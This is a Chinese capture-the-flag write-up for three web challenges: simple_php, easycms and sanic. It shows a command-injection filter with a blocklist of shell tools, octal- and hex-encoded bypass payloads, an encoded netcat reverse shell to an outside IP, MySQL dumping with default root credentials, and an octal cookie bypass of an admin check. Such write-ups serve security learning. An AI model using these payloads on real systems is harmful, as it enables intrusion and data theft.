simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

escapeshellcmd函数把单双引号、括号这些都给转义了。

方法一:八进制绕过

payload形式:

1
php -r print(`命令的八进制形式`);

试着在网站的目录中找flag,发现根本找不到。

image-20240602163542145

但是发现开启了mysql服务,所以flag很有可能在数据库中。

先反弹shell到自己的服务器上:

1
php -r print(`\156\143\40\64\67\56\61\61\63\56\62\61\71\56\62\64\64\40\66\66\66\40\55\145\40\163\150`);

然后用mysql命令连接数据库,密码和账户就是默认的root,登录进去查库查表:

image-20240602163729495

直接读取这个表:

1
mysql -u root -p 'root' -e 'select * from PHP_CMS.F1ag_Se3Re7;'

image-20240602163825525

方法二:十六进制绕过

payload形式:

1
php -r eval(hex2bin(substr(_6563686f20606c73202f603b,1)));

6563686f20606c73202f603b是**echo `ls /`;**的16进制形式,套上substr是为了绕过引号的限制,从第二位开始读并转成字符串。

方法三:

1
mysqldump -uroot -proot --all-databases

把数据库中所有的结构和数据都吐出来(还能这样。。。)

然后搜索flag的关键字即可:

image-20240602165228144

easycms

后来看wp时一直有一个疑问:payload前面的?s=api&c=api&m=qrcode参数是怎么得来的。

原来这个信息可以搜出来:

image-20240603163052012

结合漏洞出现的php文件(qrcode方法):

image-20240603163127651

所以前面的传参为:

1
?s=api&c=api&m=qrcode

image-20240603163905232

跟进到这个方法里面:

image-20240603163943555

sanic

在/src路由中发现了源码:

image-20240605162544139

观察到:

1
2
3
class Pollute:
def __init__(self):
pass

以及:

1
2
3
@app.route("/src")
async def src(request):
return text(open(__file__).read())

想到这里可能存在python原型链污染。只要污染到全局变量__file__,在/src路由就会把file的内容给读出来。

审计/login路由源码:

1
2
3
4
5
6
7
8
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")

如果直接传入adm;n,会遇到一个问题:cookie因为分号而被截断成两节,在if判断中无法通过。

正确做法就是通过八进制的形式绕过,且在外面包裹引号时,会被当成八进制进行解析。

payload:

1
user="adm\073n"

image-20240605164849859

把这个cookie带着进入/admin路由。